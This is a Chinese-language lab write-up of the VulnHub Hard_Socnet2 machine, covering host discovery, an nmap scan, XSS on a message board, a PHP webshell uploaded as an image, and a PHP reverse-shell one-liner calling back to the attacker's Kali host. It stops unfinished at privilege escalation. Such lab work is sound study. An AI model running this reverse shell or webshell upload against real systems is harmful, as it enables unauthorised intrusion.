VulnHub靶机-Hard_Socnet2 |红队打靶03

靶机地址：

https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

一、主机发现

netdiscover -r 192.168.56.0/24

靶机的ip：192.168.56.101

kali的ip：192.168.56.102

二、对靶机进一步探测

1、对靶机开放端口、运行的服务和操作系统进行探测

nmap -sV -sC -O -p- 192.168.56.101

靶机开放了22，80，8000三个端口
22跑的是OpenSSH的服务，80端口是apache的http服务，8000端口是python运行的一个BaseHTTPServer；
操作系统探测是Linux 3.2 - 4.9 。

2、访问80，8000端口的http服务

访问8000端口，提示请求方法不对，那么利用burp批量探测一下

都不行

访问80端口，是一个登录框，可以注册用户，注册进去看一下

进去后是个类似留言板的东西，输入个xss语句，还真的执行了

发现还可以上传图片，通过浏览器插件看到脚本语言是php和python

三、获取shell

上传个php的webshell，右击刚才上传图片的地址，用冰蝎连接

成功拿到网站的shell，看一下是否在docker里，发现不在

四、提权

反弹shell

在蚁剑端，将shell反弹到kali

php -r '$sock=fsockopen("192.168.56.102",443);exec("/bin/sh -i <&3 >&3 2>&3");'

反弹成功

查看sudo -l，自动任务/etc/crontab，都没有可以利用的

当来到home下，发现有socnet用户，进去发现ls -la发现一个拥有suid和guid权限的文件，add_record，且是个可执行的文件

留言中admin提到一个monitor.py文件，刚好在这个文件中，查看一下

发现引入了SimpleXMLRPCServer这个模块，并且这个服务开放在8000端口，这也就解释了前面为什么8000端口，用平常的http请求方法访问不了

代码审计

待定